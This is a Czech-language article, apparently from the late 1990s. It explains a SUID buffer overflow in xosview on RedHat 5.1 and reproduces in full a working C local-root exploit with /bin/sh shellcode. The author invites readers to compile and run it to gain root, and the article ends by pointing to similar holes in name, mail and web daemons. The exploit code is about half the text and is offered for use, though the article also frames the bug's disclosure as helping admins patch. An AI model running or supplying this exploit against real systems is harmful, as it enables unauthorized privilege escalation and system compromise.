Security hole v xosview -=-=-=-=-=-=-=-=-=-=-=-=- A master programmer passed a novice programmer one day. The master noted the novice's preoccupation with a hand-held computer game. "Excuse me," he said, "may I examine it?" The novice bolted to attention and handed the device to the master. "I see that the device claims to have three levels of play: Easy, Medium and Hard," said the master. "Yet every such device has another level of play, where the device seeks not to conquer the human, nor to be conquered by the human." "Pray, great master," implored the novice, "how does one find these mysterious settings?" The master dropped the device to the ground and crushed it under foot. And suddenly the novice was enlightened. -- Geoffrey James, "The Tao of Programming" Abych názorně demonstroval, jak jsou průniky snadné, rozhodl jsem se uvédst praktický příklad. Pokud doma vlastníte distribuci Linuxu RedHat 5.1 bez dalších úprav (samozřejmě, že v adresáři updates na ftp.redhat.com se nachází již opravená verze), můžete si zkusit systém prorazit. Je to snadné. Ve verzi 5.1 díky trestuhodné nedbalosti autorů distribuce přibyl nový SUID program. SUID znamená, že program si může propůjčit práva svého vlastníka (v tomto případě roota-sysopa) i když byl spuštěn normálním uživatelem - je tedy velmi nebezpečný. SUID programy se používají pro činnosti, které normální programy dělat nemohou, ale přesto by je uživatelé dělat měli - například nastavovaní hesla. Náš program je ale úplně zbytečná utilitka moniturující zatížení počítače. Ze záhadných důvodů mu autoři nastavili SUID. To vůbec není třeba, protože v Linuxu i normální proces může zjistit zatížení. Tomuto programu jako první věnoval pozornost hacker Chris. Udělal jednoduchou věc - prohledal zdroják na strcpy (nejčastější to původce podobných chyb) a výsledek se dostavil v souboru Xrm.cc se nachácí: char userrfilename[1024]; ... strcpy(userrfilename, getenv("HOME")); a to je zcela zjevný a primitivní buffer owerflow. Okamžitě o svém objevu napsal na www.rootshell.com a další místa, aby správci sítí věděli, co zalátat. Časem se dostavil i exploid (program co nasype ty správná data, aby se spustil shell). Vám tedy stačí jej zkompilovat a spustit. Za chvíli máte rootovská práva. Tady je: Date: Fri, 29 May 1998 18:14:22 +0100 From: Kossak <ldvg@CAMOES.RNL.IST.UTL.PT> Subject: Re: Tiresome security hole in "xosview" (xosexp.c) /* xosview 1.5.1 buffer overrun exploit * brought to you by Kossak (ldvg@rnl.ist.utl.pt) * * yep, this is a shameless rip from Aleph's tutorials, but it sure * works... Lets keep those exploits coming!! :) * Thanks to Chris Evans for posting the bug. */ /* NOTE!!! xosview needs an open X display for this to work, so remember * to modify the source (line 62), with your ip. * The offset and buffer size work with me fine, but you might need to * change them. */ #include <stdlib.h> #define DEFAULT_OFFSET 1150 #define DEFAULT_BUFFER_SIZE 3500 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("xosview exploit by Kossak\n"); printf("try changing the default values if you dont get root now.\n"); printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("HOME", buff, 1); system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */ } Samozřejmě, že zrovna tento příklad je poměrně hloupý a málokterý správce si nainstaluje tak podivný SUID program na svůj server (já jsem ho tam ale měl:). Existují ale podobné díry i v jiných programech. Minulý týden se jeden šeredný cracker vloupal do našeho Táborského serveru pomocí name daemona, což je program běžící na nameserveru každé domény, a to většinou bývá důležitý počítač. Až do nedávné verze v něm byl úplně stejný buffer overflow jako v tomto příkladu. Velmi časté jsou také chyby v daemonu na rozesílání pošty. Ten je poměrně komplikovaný a z čistě historichých důvodů musí mít pod UNIXem rootovská práva. Je tedy pravým rájem crackerů. Jiný zářný příklad špatného příkladu je Web server či X Window systém. výheň